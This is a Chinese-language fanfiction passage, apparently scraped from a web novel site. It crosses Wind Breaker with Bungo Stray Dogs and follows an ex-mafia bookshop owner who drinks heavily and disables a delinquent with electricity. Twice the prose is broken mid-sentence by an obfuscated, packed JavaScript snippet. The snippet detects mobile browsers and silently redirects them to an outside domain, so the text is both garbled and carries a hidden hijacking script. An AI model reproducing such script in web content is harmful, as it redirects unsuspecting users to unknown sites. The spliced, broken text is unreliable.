但都是结了一层霜雾的冷饮。从各个品牌的啤酒到果汁饮料,再到不算稀奇的维生素饮品,种类应有尽有。 老板坐在电脑后面,指尖犹如蜻蜓点水,快速又优雅地敲击声音并不杂乱炸耳的键盘。冷饮摆在手边,老板会抽空擦掉瓶子上的小水珠。 他们见过老板亲自打扫店里的卫生。动作悠闲又仔细,双手专为清洁卫生戴上了塑料手套。 老板在挨个擦拭书架,好像没有注意到他们经过店门口。随后,又给书籍的小分区重新贴标签纸,以及给无人翻阅的书籍消毒。 那副认真消毒时的样子,仿佛有人借走书看过一样。 和老板只有几米之隔的樱遥险些被老板的表情迷惑,以为真的有人翻阅过。 可他转念一想,就越发坚信那种事不可能存在。 老板对他们时不时的“上门拜访”并不介意。若不是他们谈不上正经“学生”,老板也不想当正经书店老板,否则,这样的场面本该恰如其分。 今天结伴的还是他们几人。于是,苏枋隼飞提议他们不如去帮老板打扫卫生。 “反正今天是休息日。太闲的话,总会忍不住找点事做。” 没人对这样的提议表示反对。即使老板一副对打扫自己的店面乐在其中的样子。 书店的大小不算特别夸张,打扫起来也不费事。 但老板一个人干清洁的活,一干恐怕就要一天。 老板摇了摇头。用不着老板特意打字告诉他们,那样的表情和肢体动作连笨蛋都知道老板在拒绝。 拒绝无效! 年轻的老板最终折服于少年们说干就干的行动力。 他经营书店的积极性连这些刚上高一的学生都比不过。 这也没办法,谁让他经营书店的原因其实那么离谱。 从梅宫一身上就能看到风铃高中的学生一脉相传的特质是什么。 只能说,校风如 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一来二去,有时候不用老板将回答确切地打在平板电脑上,他们都能感受到老板想要表达的真实意图。 无论他们从店外经过多少次,大部分看店时间都在打游戏或者合眼打盹的老板还是老样子。 樱遥的想法逐渐改变了。 有这种“沉默是金”的老板,恐怕这家书店会开很久。 没准他们从风铃高中毕业,书店都还在。 ……想到老板至少会亏三年钱,老板此刻出现在他眼前的身影,和记忆里的身影,在樱遥眼前重合。 不过,现在还用不着他替老板心痛。 他忽然想起,自己从未探究过书店老板的来历,甚至连这样的心思也不曾有过。 不……也不绝对。 听说老板是从其他城市来到这里的时候,他确实想过,老板竟然和他有点像…… 樱遥目不转睛地盯着站在自己身边的青年,寄希望于在短短几秒内看穿这个成年男人的身手和胆量。 他们帮忙打扫书店的那天,老板拍了拍他的肩膀,示意他们几个从冰箱里挑点冷饮带走,当做他们帮忙打扫店面的答谢礼。 他那天拿了一瓶普通的碳酸饮料。很冰,冰得有些过分了,他没意识到那样的温度意味着什么,一口下去,好像脑子被冰山撞了一下。 现在,他和老板离得很近,能闻到老板身上又带着很浓的酒气。 樱遥脸色一变。 ——原来是刚从京成街哪家居酒屋离开吗?! 真的不能改掉喝酒的习惯吗?总是一身酒气的话,店里真的一个客人都吸引不来!看着那么干净整洁的书店没有客人登门,老板难道一点挫败感都没有吗? 那双玫红色的眼睛面对他们的时候总是波澜不惊的神色,哪怕喝过酒之后也和平日里没区别,易拉罐里装的仿佛是白开水。 哪怕是现在,那双眼睛里也没有胆怯和怀疑,色彩鲜活的眼瞳像一朵被冻结的玫瑰。在他旁边,轻描淡写地把来自棪堂哉真斗的杀气全都接下,却连眼睫毛都没颤。 轻轻按在他肩膀上的手戴着一副比塑料手套高级太多的黑手套。贴合手型,长至手腕,露出手腕上满格电的智能手环。 老板转过身,平静地直视着让京成街出现混乱的罪魁祸首。左手抬起,虚掩在嘴边,咳嗽了两声。 樱遥第一次听到那个人用嗓子发出属于自己的声音,即使只是咳嗽的声音。 随后,他听到了一道沙哑的男声。像爬出地狱的恶魔,哪怕发出的呐喊比呼吸声大不了多少,也为重复命运的回响,竭力撕裂喉咙。 “在……做什么。” 5. 像酒鬼的都市传说 佐久间弥津喝酒的习惯,并不能被归为“恶习”。 在欧洲部门工作时候,他意外发现自己的酒量很好,中也先生对此表示羡慕。 他的上司是爱酒的人,工作之余的爱好也很丰富,酒,机车和跑车。品鉴红酒,他耳濡目染,多少有了些了解。 而欧洲恰好是很多名贵红酒的产地,特别是法国。近水楼台先得月,就是这个道理。 但能陪中也先生喝酒的人,整个欧洲部门都没几个。 要从酒品公认不好的中也先生手里完好无损地逃脱,绝对是个高危任务,拿不准在哪个瞬间,中也先生就会用异能力掀翻酒桌。 那种时候,能不能在桌子飞到脸上前跑掉,全靠各自的本事。虽然,他也好,中也先生也好,其实现在也才刚到合法喝酒的年纪。 他离开横滨,一路辗转来地这里,他没有挑剔酒水品质的机会,也懒得挑剔。便利店的啤酒,滋味有上限,谈不上好,但好在他对酒精的依赖并没有严重到酗酒的程度。喝酒打发时间,在他眼里,和喝其他任何一种饮品没有区别。 以他的酒量,喝酒一般不会影响他的理智,不过他也发现,常来书店做客帮忙的少年们不喜欢他喝酒的习惯。 最初还会旁敲侧击地问他喝酒的频率是不是有点高,后来变成了进门先看他桌上有没有未丢的酒瓶。 今天是休息日,他提早关了店。 他本就计划去居酒屋喝酒。清酒比啤酒酒精度高,他也适量少喝一点。 在喝完最后一口酒之前,他已经察觉到了街头的异状。 一窝蜂涌过街道的人潮,穿着打扮很平常,似乎是从别处街区来的。 可那和一个正常消费的客人有什么关系。 以放松为目的喝酒,却在喝酒的时候思考没用的东西,就像同时捉两只甚至更多只兔子,最后一只也抓不到。 虽然事实证明他错了。 但还来得及补救。 付过钱,踏出店门的刹那,一股目标并不是他的杀气立刻将他拽回了那座自己割舍不下的城市,拽回了他无法拒绝的过去。 他的脚步追着这股杀气而去,见到的竟然是熟悉的少年们。 似乎陷入了麻烦啊……在风铃的街区以外的地方? “……哪里来的酒鬼。”有人说话了,忍不住吐槽道。 突然闯入现场的青年搞不懂事态发展到何种程度,但被这么一打岔,紧张的气氛荡然无存。 在场唯三认识青年的人只得连拉带拽地把碰巧出现在此地的老板拉到一边。 闻到老板身上的酒气,苏枋隼飞依靠得体却僵硬的笑容勉强撑住这不太妙的场面。 “不好意思……老板嗓子不好,没办法多说话。” 至于老板的来历,稍后再解释也不迟。 而被苏枋隼飞称为“老板”的人仍在观察方才与众人对峙的家伙。 没见过,没听说过,大概率不是异能力者,如果是的话,梅宫会对他提起。身上有锻炼痕迹,体格也……身手应该不错。但没有接受过专业训练。 年龄不会很大,最多和梅宫相似。 身上裸露的部分有大面积纹身,双手上也是。外套没正经穿在身上……可能生活较为随意。右侧衣服口袋里装着手机,只有手机。那个配色显然是新款,售卖价格……他记得一般略高于二十万日元。 和风铃高中的人对峙,还是独自一人……看来很有自信能完好无损地离开这里。 他们之间有什么矛盾吗。 在场的还有其他人。他迅速把周围不认识但和少年们似乎站在同一立场的人细细划分一遍。 “你,不是风铃的人吧。”棪堂哉真斗觉得这种场景非常陌生。这个男人,一个说话都不利索的家伙,还一身酒气,居然在替风铃的人出头?“你们果然越来越弱小了,居然沦落到这种地步。” 银发青年没搭理那人,无声地凝视着站在自己面前阻止自己说话的异瞳少年。 樱遥的脑子快要宕机了。 其实他的两位同伴也不逞多让。突然出现在这里——甚至喝过酒——的老板让事情的复杂程度更进一步。 但他们绝对不可能想到的是,他们眼里现在手无缚鸡之力的书店老板如果愿意,能在数秒内把整件事变得像幼儿园的计算课一样简单。 老板抬起左胳膊,手肘搭在少年肩头,左手食指指向那家伙的衣服。 ……这样毫无意义的举动是在干什么?拖延时间? 棪堂哉真斗低头确认这个青年指的是他衣服口袋里的手机,“你想要这个吗?不能……” 青年玫红色的眼瞳扫过身边少年们的面庞。 嗓子的不便,此刻终于让佐久间弥津有了“是不是该去做手术”的悔悟。 棪堂哉真斗拿在手里把玩的手机霎时间被一道肉眼可见地在空气中乱窜的电流击中。 手机黑屏,从充电口冒出了吓人的白烟。 棪堂哉真斗抛弃了那副轻松悠闲的战斗姿态,迅速将出现不明问题的手机朝空中抛起。 冒烟的手机刚一离手,就在众目睽睽之下发生爆炸。 各种零件碎了一地,散落的残骸上仍有让人心惊的银蓝电弧交错掠过。 没人能立刻解释此种变故发生的缘由,打破死寂的依然是青年听起来几乎是用尽全身力气才能发出的嘶哑声音。 “……不错。” 被称作“老板”的青年似乎认可了什么,但那双玫红色的漂亮眼眸里着实让人看不出一星半点实质性的雀跃和赞赏。 老板不知道发生了什么,但老板没有坏心眼,知道少年们尚且不能承受那份真情实感的杀意,于是小小地耍了个戏法,希望能逗被吓到的少年们开心。 失去最新款手机的家伙在短暂的愣神之后耸了耸肩,表示自己已经看穿了这个被称为老板的男人的本质,无意恋战。 老板只是有一点爱喝酒,酒品很好,酒量也让人望尘莫及。 但少年们绝对不允许让说了足足“两句话”之后就摸着喉咙轻轻嗑了几声的老板继续喝。 双方都选择妥协的话,今日的局面就很好解决了。 佐久间弥津从衣服口袋里掏手机看了眼时间,对少年们摆摆手,表示自己要先走了。 “佐久间先生……你今天要早点休息。”神情格外严肃的少年叮嘱道。 老板回头望着他,眼神还是那么平静,仿佛刚才和棪堂哉真斗隐隐形成对抗局面的人不是其本人。 “……一定喝了很多酒吧,佐久间先生。”离老板有一点距离,但榆井秋彦还是能闻出那股特别的清酒的气味。他该在笔记上再多增加一条的——佐久间先生的酒量深不见底! 胆量以及神秘感,也和酒量几乎成正比。 不可能回答他们问题的青年轻轻点了点头。被未成年人关心的感觉不会让书店老板因为年龄差距而羞赧,他会切实考虑少年们的建议的。 没有人会再次拦下一身酒气的银发青年了,除非青年自己回头。 其实青年的长相没有攻击性。 那双色彩华丽的眼眸虽然不带何种丰富的感情,但也没以敌意示人过。 少年们最是明白,经营书店的老板在生活上从来都是一颗平常心。 但旁人不同,六方一座的人也不同。 成田静被身边的中村干路严严实实地挡在身后。 中村干路和成年人交道打得多。他见过形形色色的人,表里不一,口蜜腹剑,心黑手黑的笑面虎,在一些场合,总是少不了那样的人。 这绝对是个危险的家伙……但不知道他和风铃的人是什么关系。 陌生的青年遥望六方一座的人们,最后也没说什么,转身继续行自己的路。 剑拔弩张的对峙莫名其妙地归于宁静。 书店老板的出现确实让樱遥的理智暂时下线了。 方才压在他肩头的力量和感觉剥夺了他亲眼见识老板都市传说本质的机会。他不应该忘记的,总是被他们撞见在喝酒的书店老板是风铃高中的总代表亲口承认过的“很厉害的人”。 何物爆炸的声音传到耳边时,他背对着案发现场。虽然看不到那个家伙的表情,但同伴们的吃惊和呆滞倒是被他看得一清二楚。 他一抬头就能看到书店老板的神情。玫红色的眼眸并没有看向他,而是注视着那个造成这些混乱的家伙,并且对那人的危险性好似毫无察觉。 那么,老板有没有听到那个家伙之前的那些话? 老板今天说了何等珍贵的两句话,即使快要到老板嗓子的极限,第二句话居然是在对那个家伙说?一定是在对那个家伙说吧! “樱——” 这不是在浪费自己的健康吗! “樱哥——大家要走了哦!” 樱遥猛回神。 他怎么也像喝过酒一样头脑晕乎乎的。 走在同伴们身边,他的走神被应该是自己左右手的副级长们揣摩得很彻底。 榆井秋彦小声问,是在想佐久间先生的事吗? 其实他们都在想。 “我想知道,佐久间先生以前的工作是什么,”苏枋隼飞笑道,“没准会让人大跌眼镜。” 这种事,他也想知道啊。樱遥心想。但那完全是老板的隐私吧。曾经的工作什么的……如果是不想被别人知道的经历,他们问出口的话,会让老板十分为难吧。 他们对老板的来历知之甚少。就算其他人问起“那个‘老板’是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16519361|186252||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 谁”,他们也只能回答,是商店街上一家新开没多久的书店的老板。 爱喝酒,酒量好,嗓子不好,平时不怎么说话,和他们靠打字交流。 此外再无有价值的信息。 “啊,对了,”榆井秋彦忽然想起天台上的事,“算梅宫哥的熟人吧。” 他们曾经见过被“邀请”去欣赏农作物的佐久间先生,由此可见,两位的关系莫非开始于“种地”? “他只是又去找地方喝酒,碰巧在这里而已。” 樱遥无力吐槽。 对老板而言,喝啤酒和喝水没什么区别。明明也不是只有喝酒一个爱好,为什么不能戒掉喝酒的习惯?本就受病痛纠缠的嗓子遇到酒精,会病上加病是必然的吧。 苏枋隼飞脸上的笑充满苦涩和无奈,“是啊。但老板喜欢喝酒,我们阻止不了他。” 被少年们隔空念叨的人回到书店果然顺手开了一瓶啤酒。 刚从冰箱里拿出来的易拉罐上迅速附着了一层冰凉的水雾,从拉环口逸散的酒气涌向半空。不开灯的店里漆黑一片,屏幕的亮光照在老板脸上,老板并不困,坐在电脑前,盯着电脑上提醒的消息发呆。 六个小时前新添加的好友发来了一长串的语音。然而六个小时前发来的消息,他至今未读。 原因无他,他不知道该怎么回复曾经的友人兼下级。 那些蒙尘的情绪此刻借着酒力在他心中翻滚。 这么多天来,他第一次切实体会到自己心里有多怀念过去的人。 但他没有后悔离开的决定。说服他进入港口黑手党的人已经不在了,他还没做好准备,为新的首领卖命。 正是同样想到这一点,那个人才会放任他离开,他也幸免于一场为自己招来杀身之祸的叛逃。 他猛灌了半瓶冰啤酒。 依靠其实并不大的酒劲,他点进消息界面。给他发来的一长串语音消息加在一起有两分多钟。 “弥津大人,是我哦。可以听出我的声音吗。” “你离开了,中原干部也留在了横滨本部,欧洲部门的管理基本都压在水落望音肩上,他已经找各种借口折磨我一年多了……但我宁愿在那个家伙手里工作,也不想呆在横滨本部里。” “他当时没想到你会走,其实我也没有,你是不是只对和你一样回了国内的人说过?以前那家伙总说有你在他就升不了职,现在真升职了又不高兴。我说那人就是有毛病。” “弥津大人,这两年的生日礼物,我会及时给你补齐的。” 他敲几下键盘,改了备注,然后偏头望了望街道对面已经熄灯的店铺。 陆陆续续,商店街的各个店铺都打烊了,这里很快就会变得冷清。 鼠标光标在空白处停了几秒,他犹豫着打下一行字。 【你是怎么找到我的】 说实话,他还不想被找到。但如果连他在哪里都查不到的话,优会被好友数落不止半天。 离开了组织,他不该再碰组织里的事务。 但耐不住终于联系到他的优打开了话匣子。 屏幕上不断跳出来的语音消息一半在打听他现在用的手机号码,一半在对他说水落的坏话。 【他现在是你的上司】 他的意思是,也不用把水落损得一无是处。 “他算什么上司。” 拿到前上司新手机号的男人得意地瞟了一眼从办公室外走进来的现上司,语气里的兴奋藏都不藏,故意把墨镜摘下来,鎏金色的漂亮眼瞳里满满的都是炫耀。 就算额头抵着仍带着温度的枪口,镜优也没有闭嘴的打算。他甚至侧了侧头,有恃无恐地让枪口对准他的太阳穴。 “反正,他又不会在这种时候干掉我。” 等镜优的语音消息发送完毕,水落望音随即扣动扳机。 近在咫尺的枪声把镜优的耳朵震得生疼。 沙发靠背被近距离的枪击炸得和腐朽多年的棺材一样稀碎。 这沙发不能留了。 他戴回墨镜,对着水落望音翻了个白眼。 脸色阴翳的青年冷声道,“和‘非组织成员’聊组织事务,是吗?谁给你的权力。现在,立刻,滚去阿□□翁。” 没有呛声的人低头点着钱包里的银行卡,一边朝办公室门口走,一边故作无意地问,“通勤费报销吗?这可是跨国任务。” 如果不报销,他就当这个男人又在公报私仇了。 青年眼中的阴狠散去,低头,卸下弹夹,相当诡异地认真数起枪里的子弹,像是除了这种事以外无事可做。 啧。 “你真是个彻头彻尾的……” 咔咔几声,水落望音重新装好弹匣,“安静点,赶紧滚。” 6. 初见端倪的都市传说 看到天空中的乌云多起来,佐久间弥津就会在店门把手上挂两把伞面透明的普通雨伞,很平价的那种,人人都买得起。免费借给万一天空落雨,急用的路人。 不管有没有人借走,他总是这么做。 这些天,少年们在忙。自那次在京成街偶遇后,少年们就算路过书店门口也说不了几句话,就脚步匆匆地离开,像是有凶猛的食人野兽撵着他们的脚步,催促他们时刻不忘奋进。 而他的书店一如既往地没有客人登门。 不过,即使如此,清洁是要做的,整理也是,就算他要守着亏本亏惨的书店过十年,他也愿意接受。 如果十多年之后,他还有回横滨的想法……他可能真的会回去的。 他钻研了几天的游戏,今天终于打到了BOSS关卡。一切都按计划进行的话,今天就能看到结局cg。 这是由一本曾在外国文坛昙花一现的小说改编而成的冷门游戏,连日文翻译版都没有,幸好他勉强看得懂意大利语。游戏是中世纪背景,讲的是三个骑士的故事。分别是恶龙骑士、棉花糖骑士以及故事的开头看似弱不禁风实则后期升级后随便碾压敌人的南瓜头骑士。 三个性格各异能力也不同的年轻骑士,从各自的故乡出发,在路上相遇,一同去到了那个时代里熙熙攘攘、热闹非凡的大城市,却在被誉为“黄金风暴”的城市里,发现了足以颠覆整个国家的黑色密藏。很经典的故事,但对三个骑士的刻画很新鲜,有点现代人的影子。 佐久间弥津至今记得逸闻收录里恶龙骑士和棉花糖骑士互殴不下百场的见闻。 他特意为此戴上耳机和隐形眼镜,准备专心致志地攻克最后也是最重要的BOSS战,店门却在此时被推开了。 店主脸色如常,只是抿了抿嘴唇,望向进门的人。 来人戴起兜帽,低着脑袋,帽檐边露出几缕头发,双手插在衣兜里,套着风铃高中的校服,仿佛为了掩盖什么似的弓着腰,走到收银台前才直起腰,抬起头,露出那双绿色的眼睛。 是曾经在京成街那夜的混乱中见过的脸……以全新的方式出现在了佐久间弥津眼前。 对此,佐久间弥津的反应是拿起手边的气泡水喝一大口。 “你好像一点都不惊讶呢。” 来人把他的书店打量了一番,重点观察了那扇通往小屋的门。 “我原本还在好奇,为什么那些一年级的会叫你‘老板’。” 原来是这个意思。 棪堂哉真斗在心里感慨道。 这个男人,居然真的是一家书店的“老板”。 方才经过书店门口,看到那张脸,他还有些不敢相信,他居然这么容易就找到了那个怪异男人的下落。 他撑着收银台,利落翻进收银台和老板的书桌之间的走道,供一人站立还是很宽敞的。 这样就离老板更近一步了! 老板坐在椅子上凝视着他,但不出声赶他走,也不问他要做什么,除了喝气泡水,双手仍然搭在键盘上。 他不乐意看到老板这么冷静,像是在看一场无意义的作秀。 他质问道,“你被吓傻了吗?”反应好慢。 老板的动作还是慢悠悠地,胳膊伸向椅子背后的置物柜,盲抽出一个黑色钱包。 他看着老板从里面抽出一沓很新的纸币,甚至没数,直接摆在他手边,然后照旧用那双玫红色的眼睛盯着他,似乎在问,“还有什么事”。 “你……” 棪堂哉真斗被这个男人搞得一时失语。嘴张了好久,才问出一句,“你不能说话吗?” ——这当然不是他首先要问的! 老板点了点头,继续等待不请自来的他的下文。 怎么办?这完全不是他要的气氛。 他要的是会让他兴奋起来的暴风雨来临前的澎湃,而不是这种只能由他唱独角戏的剧场! “你知道我的名字吗。” 不对!这也不是他想问的! 老板还是对他摇头。但这次拿过一边的平板电脑,手指快速打出一行字。 【你竟然是风铃的学生】 老板的疑问让棪堂哉真斗的心情瞬间掉到某种不妙的平衡点。 “这是给我的?虽然炸了我的新手机,没想到你很大方啊。”他摸起桌上的纸币,数了数,是二十五张面额一万日元的纸币,“棪堂。棪堂哉真斗。” 他早就不是风铃的学生了。 但此时此刻,老板懒得分析棪堂哉真斗的面部表情。 对他摆了摆手,眼睛也不再看他。 ……是让他离开的意思? “你不会以为我是来找你要赔偿的吧。”他哪会那么“记仇”呢。 他掰着屏幕的一角,想转过屏幕,看老板在电脑上干什么。 可还没用力,他忽然浸入一池意料之外的红色,仿佛闯入一处从未有人踏足的玫瑰园,那片色彩是他意识模糊前最让人难忘的东西。 紧接着,身体不受控制地倒下,眼前一切都变得模糊,大脑也跟着变迟钝,他甚至无法转动眼珠,只能直挺挺地朝前瞪着。 最后无奈合上的双眼只看到了装着吊灯的天花板,数张大额纸币散落在他身边。 然而就算是二十多万日元,也在失去意识的脑子里留不下更深刻的印象了。 店主把屏幕摆正,继续他的游戏。 完全搞不懂这些年轻人的想法。 ——虽然佐久间弥津知道,以自己的年龄,也不过比这些人年长几岁而已。 被电流穿过而晕厥的家伙躺在冰冷的地板上,胸膛还在因为平稳的呼吸而起伏,生命倒是没有受到威胁。想必过不了多久,就会自然转醒。 但佐久间弥津顾不了那么多。 再拖下去,他今天结束中世纪旅程的计划就会因为这些额外的因素继续延后,那是他最不想接受的事。 他收了收脚,免得踩到躺在桌下的人。无论这个叫棪堂哉真斗的人想问什么,等他处理完手头的工作,呃……结束BOSS战再做讨论。 室内又恢复了他最习惯的宁静和冷寂。游戏的配乐适配那个距今遥远又被人们无限畅想的时代,沿途的风景美妙得好似令人身临其境。全神贯注地玩游戏是一种放松。 可放松之后,人就免不了瞎想。 敲下最后一次攻击键,首领怪的血条从屏幕上消失,两秒的黑屏过后,就是他期待了几天的终局cg。 他看懂意大利语的速度,比听懂更快。没有偷懒不做字幕的意大利方制作组精心地准备了花样字体的字幕,打在屏幕最下方,倒是方便了他一边看,一边在心里回忆过去的事。 在欧洲部门工作两年之后,他逐步开始辅佐中也先生工作,而优则是他的副手。 按职责划分讲,水落和后来协助中也先生工作的他,是同级。 在成为同级之前,他和水落在工作上多少都会早有接触。他和水落从来都掐不起来,优却和水落相看两厌。 他认为这单纯是气场不和。水落是出了名的看重工作效率,优跟着他,也确实有些“自由”。 但气场不和,不是不能好好工作的原因。自甘成为“黑手党”的一员的他们,从来都没有拒绝任务的权利。如果水落和优因为私人恩怨影响到整个欧洲部门的运行,他会想办法在不被中也先生注意到之前,把两个人“解决”掉。 不是调离欧洲部门,就是尽量放在不同的分部。 他没有调动水落的职能,所以,如果这样的情况当真发生,只能委屈优一次了。幸好在他仍在欧洲部门工作的日子里,这两个人极其不对付的时候也仅仅是不对付,没有闹得很难看。 现在,中也先生没办法离开横滨,欧洲部门的工作就必须交接给其他人。 说他是逃走的也好,他不介意。他的确受不了新首领身边沉闷却有何物好似物极必反,在极度的压抑下即将崩盘的糟糕气氛。 他有过那么零星的几次机会,见到太宰治。每一次,心脏都像是被看不见的力量压迫着,他身心感到的危 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16519362|186252||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 机,比发现太宰治本人相比几年前有重大改变更让他惊慌。 两方对比之下,他们欧洲部门的工作和生活简直像在柔软的云端,伸手就能碰到彩虹。 ……他似乎形容得有些夸张了。 黑手党的生活不会美好到哪去,但也不会整日活在阴暗和压抑之中。 出国前,他是见过太宰治,他也知道,他们同龄。森医生没打算让他们多接触,那时刚经历过惨痛教训的他也没心情去和半张脸都缠着绷带的阴郁少年沟通。 谁能想到,他们再见面时,一切都变了。 身份,心态,关系。 太宰治扫过他的眼神,显然还记得他,但字里行间都在针对中也先生,顾不上,也不会和连名字都只记得大概的人叙旧。 ……他是很久没联系中也先生了。 但现在的他,也的确没资格再联系中也先生。 为什么说故事很经典呢。 因为游戏里的三名骑士在打败最终的BOSS之后,继续同行。 先回到各自的家乡修整,从头到尾都戴着冒火面具的恶龙骑士也在这时短暂地摘掉了他的面具。游戏里只做了恶龙骑士的背影,恶龙骑士一头黑发,个头不算低,但略低于棉花糖骑士和南瓜灯骑士。不知道会不会是靴子高度在影响。 在游戏的最后,三个人聚在一起,观察新购买的牛皮地图,商讨着下一个目的地。 看到这里,游戏彻底落幕。 经典的,美好结局。 但这份经典是值得品味的。 他心满意足地关掉游戏界面,摘掉耳机,看着一脸迷茫,从桌前颤颤巍巍站起的人,等待其开口说话。 棪堂哉真斗撑着桌边,盯着他,一言不发。 他趁机扫了一眼店外逐渐露出日光的天空。 今天的天气,原来是多云转晴。 佐久间弥津不急。 但撑着桌面摇摇欲坠的人表情很急。 被电流击溃,是棪堂哉真斗从未思考过的失败法。他咬牙抬手示意老板先别说话,让他深深思考一下。 虽然老板本就不方便说话。 “你……你是……” 是这种既不是县首府,还离东京那些繁华大城市蛮远的小城镇很难出现的都市传说。 在其他城市,确实听说有那种人真实存在呢。不等他说出从未在他脑袋里占据一席之地的专有名词,老板率先在平板电脑上打出一行字。 【别叫我都市传说】 不顾身体状况,棪堂哉真斗大笑着一瘸一拐走向门。走了没几步就适应了身体状态,脚步恢复灵活。 他握着门把手,扭头看着意外给予他一份特别惊喜的书店老板。 “好好期待吧……我还会来找你的。” 换个人没准真能被棪堂哉真斗的语气吓到。 打完游戏,一身轻松的老板在平板电脑上打出另一行字。 【别来了。还有,钱,算赔你手机】 散落一地的纸币失去了归属,躺在地板上,等什么人捡起它。 棪堂哉真斗没有从男人身上拿钱的习惯。但这笔算是赔偿款的钱,倒是让他终于想起见到老板之后想问的问题。 “你那天为什么要说‘不错’这句话?是在对我说吗?” 搞得他当天晚上失眠了。 第一次在这种场合被夸,他怎么想都觉得古怪。 老板看起来像是经过大风大浪的人呢。 被他提问的老板定定地注视着他,而他站在门口,不动如山,颇有老板不回答他就不走的气势。 可佐久间弥津只是在回忆自己当天有没有说过这句话。 其实那天有没有说过话,是很好确认。但老板本人唯独想不起自己当时说这句话的动机。单凭这句话的内容,老板半猜半推敲地打出一行字。 【只是字面意思。很不错】 回答得模棱两可,棪堂哉真斗并不满意。他自己都不认为当时那种场合里有什么值得夸奖的东西。 7. 发呆的都市传说 等棪堂哉真斗离开,他立即发了条消息出去。 从优联系过他之后,他这些天里总是不由自主地回忆过去,断断续续的,一点一滴,沉眠的记忆在他脑海中重新被唤醒。 这似乎预料着他最终还会回横滨去。 可到目前为止,他还找不到会让他放弃现如今生活回横滨的理由。 欧洲部门是个好去处,对一切受不了国内部门高压气氛的人而言。 森先生,他们的前代首领,一个知人善用的合格组织首领,他一直说服自己,森先生只是失踪,而不是确认死亡。 ……他不敢确认。 而且,他愿不愿意相信,也已经不重要了。 在欧洲部门工作的几年里,他没想回国。但那件事发生的时候,为了稳定组织内部局势,他跟随中也先生连夜回国,因此体验了一段时间国内部门的工作。 不客气地说,两方的工作氛围在最高上司的带领下是天差地别。 他适应不了,也不喜欢。 欧洲部门的工作对象是外国人,要求他不得不尽量学会当地的语言。嗓子受伤前,他偶尔能临时担当翻译。越是多说多见,对语言的掌控就越是熟练,翻译起来就越来越得心应手。 不过,他只是“临时翻译”。欧洲部门的成员或多或少都有外语的技能,他不可能去当专门的翻译人员。 他的能力要用在更合适的地方。 他们是黑手党组织,不是简单的社会团体。 不像梅宫和他的同学、学弟们一样,是因为一个共同的信念,聚集在一起。 黑手党组织改不了犯罪的底色。但他们不会因此羞于存活于世,因为这是他们必须承认的一部分。若连这一部分都没有胆量承认,连自己的性命都会控制不了。 常年在国外,他快要忘记国内的气候变化了。 梅雨季,是不是快来了? 雨天是他的舒适区,亲近的人都知道这个不算秘密的秘密。 雨天出门,他会打伞,打伞不影响他使用异能力。但优总以“行动不方便”为由,自己不打伞,硬要钻到他的伞下暂时躲雨。 小他一岁的优个头还比他高一丁点,这三厘米的差距听起来不多,在打伞的时候却能凸显。 他只喝酒,不抽烟,而担任他副手的优不喝酒,身上偶尔会有烟味。 当着他的面点燃的烟头,大多数时候都会被看不到停歇势头的雨水浇灭。到了这种时候,优一般不会再点燃新的,而是咬着被雨水淋湿的半截烟,从他的伞下溜走,并在走之前将自己满电的手机留给他。 这把多灾多难的伞如同被神明赐福过一般让见者感到惊奇,陪他在枪林弹雨中走过几遭,还是那么坚固耐用。 平时能遮阳,战斗的时候能挡雨。 不过,这好像……是一把普通的遮阳遮雨两用伞也该做的事。 伞是他多年前从当地黑市里买来的。商家把伞的来历说得个天花乱坠,声称其运用了著名黑手党家族不外传的技术,之后又被某个挥霍无度搞得自己手头拮据的贵族后代典当,兜兜转转,最终落到了他手里。 他通通当做耳旁风。 他买伞,只是因为他当时急需一把伞。 而这把伞,就放在商家背后,客人路过店面就能看到的置物台上,用透明玻璃罩平放着,乍一看,说不出那是一件什么东西,但玻璃罩上贴了标签。 他那时问商家,既然伞的来历那么传奇,为什么只卖这个价钱。 黑市的定价没有固定值。黑市的商家都是见风使舵的高手,对市面上的小道消息如数家珍。嗅觉灵敏,擅长随机应变,知道什么时候该涨价,什么时候又该同意买家的讲价。 头发花白的商家被他问得直苦笑。 “高价卖不出去,没人相信这把伞的来历,只能一再降价……就降到现在咯。” 他把手里的保险箱放在他和商家之间的桌子上,说,“我需要看它撑开的样子。” 发觉这把伞有卖出去的迹象,眼前一亮的商家打开玻璃罩,把数年间无人问津的伞为他撑开。 不是折叠伞,是长柄伞,伞面伞骨是纯黑色,内面却是纯白,黑白两色对比,在店里白炽灯泡的照射下格外刺眼。不花里胡哨,很简洁的配色,没有花纹点缀,也没有标签或者铭牌,说它是一把被装成高科技伞的普通遮阳伞也不为过。 赚欧元花欧元,赚英镑花英镑,他在欧洲的生活就是如此,如果不巧在黑市遇到必须用黄金交易的商品,货物还是刚需,他们也只能按商家的要求来。 他还戴着手套。就算去摸伞布,也摸不出伞布是什么材质。假如这伞真的如商家所言,在他的店里安静地呆十多年,怎么还会这么新。 但反过来想,没准所谓的“不外传技术”,可能就是指……不生锈,也不落灰。 这可能吗? 比普通的伞略重,长度倒是没多大的区别。 他那时笃定,商家之前的话都是在编故事。为商品编造一个美丽的故事,就像有些人疯狂用谎言填充自己的过去,被上流社会的表面华丽控制大脑,攀附权贵,一生都在奔向虚假繁荣后更虚无的名利。 人没必要把自己看成商品。 不过,他还是买了那把伞。 商家在漫长的犹豫之后,释然地同意了他的出价。 “您愿意出的价格,已经比那些拿我寻开心的家伙高很多了。” 